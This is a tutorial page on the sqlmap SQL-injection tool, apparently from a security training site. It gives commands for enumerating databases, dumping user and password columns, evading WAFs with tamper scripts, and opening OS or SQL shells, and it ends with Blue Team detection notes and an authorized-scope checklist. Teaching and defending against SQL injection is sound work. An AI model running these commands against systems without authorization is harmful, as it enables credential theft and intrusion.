TOOL-SQLMAPintermediate · 4 min · upd. 2026-10
sqlmap
sqlmap automates the detection and exploitation of SQL injection. It tries multiple techniques, extracts data, and can even achieve command execution on the DBMS. It’s powerful, but understanding SQLi “by hand” helps you use it well (see SQL injection, NoSQL injection).
What it is
Section titled “What it is”sqlmap is an open-source Python tool that detects and exploits SQL injections automatically. It supports the main techniques (boolean/time-based blind, error-based, UNION, stacked queries) and many DBMSs (MySQL, PostgreSQL, MSSQL, Oracle, SQLite…).
What it is for
Section titled “What it is for”- Confirm and classify a SQL injection.
- Enumerate databases, tables, columns, and dump data.
- Escalate to file read/write or an os-shell when the DBMS and privileges allow it.
Installation
Section titled “Installation”sudo apt install sqlmap # Kali/Parrot# or from the official repositorygit clone --depth 1 https://github.com/sqlmapproject/sqlmap.gitpython3 sqlmap/sqlmap.py --versionBasic usage
Section titled “Basic usage”# from a URL with a parametersqlmap -u 'https://host/item?id=1' --batch# from a request captured in Burp (most reliable: respects cookies/headers)sqlmap -r request.txt --batch# specific POST, cookie, and parametersqlmap -u https://host/item --data='id=1' --cookie='sess=abc' -p id--batch answers with defaults (no interaction). -p pins the parameter to test.
Advanced usage
Section titled “Advanced usage”Progressive enumeration flow (least to most intrusive):
sqlmap -r req.txt -p id --dbs # list databasessqlmap -r req.txt -p id -D shop --tables # tables of a DBsqlmap -r req.txt -p id -D shop -T users --columnssqlmap -r req.txt -p id -D shop -T users -C user,pass --dumpEnvironment information:
sqlmap -r req.txt --current-user --current-db --is-dbasqlmap -r req.txt --banner # DBMS versionTune depth, DBMS, and technique:
sqlmap -r req.txt --level=5 --risk=3 # more vectors and payloadssqlmap -r req.txt --dbms=mysql --technique=BEUST # pin engine and techniques# B=boolean E=error U=union S=stacked T=time Q=inlineWAF evasion and system access:
sqlmap -r req.txt --random-agent --tamper=space2comment,betweensqlmap -r req.txt --proxy=http://127.0.0.1:8080 # chain with Burpsqlmap -r req.txt --os-shell # OS shell (if possible)sqlmap -r req.txt --sql-shell # interactive SQL shellTricks / workflow
Section titled “Tricks / workflow”flowchart TD
A[Suspicious request] --> B[Capture with Burp -> request.txt]
B --> C[sqlmap -r req.txt -p param]
C --> D{Injectable}
D -->|Yes| E[--dbs -> --tables -> --columns]
E --> F[--dump specific data]
D -->|WAF| G[--tamper + --random-agent]
D -->|DBA| H[--os-shell / file read]
- Capture the request with Burp and feed it with
-r: that preserves session, headers, and method. - Raise
--level/--riskonly if nothing is detected at the default level; more risk means more load. - Use
--flush-sessionto re-analyze from scratch if you changed something on the target. - Dump only what you need (
-C,--whereconditions): avoid downloading whole tables.
Detection (Blue Team)
Section titled “Detection (Blue Team)”- sqlmap generates a huge number of requests with recognizable payloads (quotes,
SLEEP(),UNION SELECT, comments): detectable by WAFs and IDS. - Time-based techniques cause repeated delays in backend responses.
- Its default
User-Agentcontainssqlmap; even with--random-agent, the payload pattern still gives it away.
Checklist
Section titled “Checklist”- Target and parameter within authorized scope.
- Request captured with Burp and used with
-r. - Injection confirmed before enumerating.
- Dump limited to strictly necessary data.
-
--os-shell/write only if explicitly allowed.
References
Section titled “References”PrerequisitesHTTP Fundamentals
Nexthashcat & John →